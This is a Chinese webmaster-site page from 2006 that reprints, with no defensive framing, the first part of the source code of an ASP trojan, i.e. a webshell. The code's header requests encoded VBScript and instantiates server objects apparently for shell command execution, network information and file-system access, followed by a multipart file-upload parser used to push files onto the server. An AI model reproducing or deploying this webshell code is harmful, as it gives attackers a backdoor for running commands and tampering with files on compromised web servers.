RSS
热门关键字:  下载  cms  模版  开源  dedecms
当前位置 :| 主页 > 站长学院 > ASP/VbScript >

一个ASP木马程序的源代码(1)

来源:互连网 作者:佚名 时间:2006-11-07 Tag: 点击:
  <%@ LANGUAGE = VBScript.Encode codepage ="936" %>
  <%Server.ScriptTimeOut=5000%>
  <object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
  <object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
  <object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
  <%
  'on error resume next
  dim Data_5xsoft
  Class upload_5xsoft
  dim objForm,objFile,Version
  Public function Form(strForm)
  strForm=lcase(strForm)
  if not objForm.exists(strForm) then
  Form=""
  else
  Form=objForm(strForm)
  end if
  end function
  
  Public function File(strFile)
  strFile=lcase(strFile)
  if not objFile.exists(strFile) then
  set File=new FileInfo
  else
  set File=objFile(strFile)
  end if
  end function
  
  
  Private Sub Class_Initialize
  dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
  dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
  dim iFindStart,iFindEnd
  dim iFormStart,iFormEnd,sFormName
  Version="HTTP上传程序 Version 2.0"
  set objForm=Server.CreateObject("Scripting.Dictionary")
  set objFile=Server.CreateObject("Scripting.Dictionary")
  if Request.TotalBytes<1 then Exit Sub
  set tStream = Server.CreateObject("adodb.stream")
  set Data_5xsoft = Server.CreateObject("adodb.stream")
  Data_5xsoft.Type = 1
  Data_5xsoft.Mode =3
  Data_5xsoft.Open
  Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
  Data_5xsoft.Position=0
  RequestData =Data_5xsoft.Read
  
  iFormStart = 1
  iFormEnd = LenB(RequestData)
  vbCrlf = chrB(13) & chrB(10)
  sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
  iStart = LenB (sStart)
  iFormStart=iFormStart+iStart+1
  while (iFormStart + 10) < iFormEnd
  iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
  tStream.Type = 1
  tStream.Mode =3
  tStream.Open
  Data_5xsoft.Position = iFormStart
  Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
  tStream.Position = 0
  tStream.Type = 2
  tStream.Charset ="gb2312"
  sInfo = tStream.ReadText
  tStream.Close
  iFormStart = InStrB(iInfoEnd,RequestData,sStart)
  iFindStart = InStr(22,sInfo,"name=""",1)+6
  iFindEnd = InStr(iFindStart,sInfo,"""",1)
  sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
  if InStr (45,sInfo,"filename=""",1) > 0 then
  set theFile=new FileInfo
  iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
  iFindEnd = InStr(iFindStart,sInfo,"""",1)
  sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
  theFile.FileName=getFileName(sFileName)
  theFile.FilePath=getFilePath(sFileName)
  iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
  iFindEnd = InStr(iFindStart,sInfo,vbCr)
  theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
  theFile.FileStart =iInfoEnd
  theFile.FileSize = iFormStart -iInfoEnd -3
  theFile.FormName=sFormName
  if not objFile.Exists(sFormName) then
  objFile.add sFormName,theFile
  end if
  else
  tStream.Type =1
  tStream.Mode =3
  tStream.Open
  Data_5xsoft.Position = iInfoEnd
  Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
  tStream.Position = 0
  tStream.Type = 2
  tStream.Charset ="gb2312"
  sFormValue = tStream.ReadText
  tStream.Close
  if objForm.Exists(sFormName) then
  objForm(sFormName)=objForm(sFormName)&", "&sFormValue
  else
  objForm.Add sFormName,sFormValue
  end if
  end if
  iFormStart=iFormStart+iStart+1
  wend
  RequestData=""
  set tStream =nothing
  End Sub
  
  Private Sub Class_Terminate
  if Request.TotalBytes>0 then
  objForm.RemoveAll
  objFile.RemoveAll
  set objForm=nothing
  set objFile=nothing
  Data_5xsoft.Close
  set Data_5xsoft =nothing
  end if
  End Sub 
  
最新评论共有 1 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名: 密码:
匿名?
注册
热点关注
相关文章